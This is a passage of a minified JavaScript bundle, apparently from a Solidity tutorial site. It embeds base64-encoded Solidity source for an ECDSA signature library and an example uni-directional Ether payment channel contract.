              `,cy=({prev:s,next:a})=>r.jsx(u,{version:ay,title:ny,description:ly,html:ey,prev:s,next:a,codes:py}),ty="0.8.24",oy="Uni-Directional Payment Channel",ry="An example of uni-directional payment channels in Solidity",iy=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgUmVlbnRyYW5jeUd1YXJkIHsKICAgIGJvb2wgcHJpdmF0ZSBsb2NrZWQ7CgogICAgbW9kaWZpZXIgZ3VhcmQoKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9Cn0KCmNvbnRyYWN0IFVuaURpcmVjdGlvbmFsUGF5bWVudENoYW5uZWwgaXMgUmVlbnRyYW5jeUd1YXJkIHsKICAgIHVzaW5nIEVDRFNBIGZvciBieXRlczMyOwoKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgc2VuZGVyOwogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyByZWNlaXZlcjsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3ICogMjQgKiA2MCAqIDYwOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgcGF5YWJsZSBfcmVjZWl2ZXIpIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoX3JlY2VpdmVyICE9IGFkZHJlc3MoMCksICJyZWNlaXZlciA9IHplcm8gYWRkcmVzcyIpOwogICAgICAgIHNlbmRlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgcmVjZWl2ZXIgPSBfcmVjZWl2ZXI7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEhhc2godWludDI1NiBfYW1vdW50KSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdCBhZ2FpbnMKICAgICAgICAvLyByZXBsYXkgYXR0YWNrIG9uIG90aGVyIGNvbnRyYWN0cwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0SGFzaCh1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KS50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX3ZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCkucmVjb3Zlcihfc2lnKSA9PSBzZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KHVpbnQyNTYgX2Ftb3VudCwgYnl0ZXMgbWVtb3J5IF9zaWcpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX3ZlcmlmeShfYW1vdW50LCBfc2lnKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbG9zZSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKSBleHRlcm5hbCBndWFyZCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHJlY2VpdmVyLCAiIXJlY2VpdmVyIik7CiAgICAgICAgcmVxdWlyZShfdmVyaWZ5KF9hbW91bnQsIF9zaWcpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcmVjZWl2ZXIuY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZW5kZXIsICIhc2VuZGVyIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiIWV4cGlyZWQiKTsKICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VuZGVyKTsKICAgIH0KfQo="}],gy=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              +`,tA=({prev:s,next:a})=>r.jsx(u,{version:nA,title:lA,description:pA,html:cA,prev:s,next:a,codes:eA}),oA="0.8.24",rA="Uni-Directional Payment Channel",iA="An example of uni-directional payment channels in Solidity",gA=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQT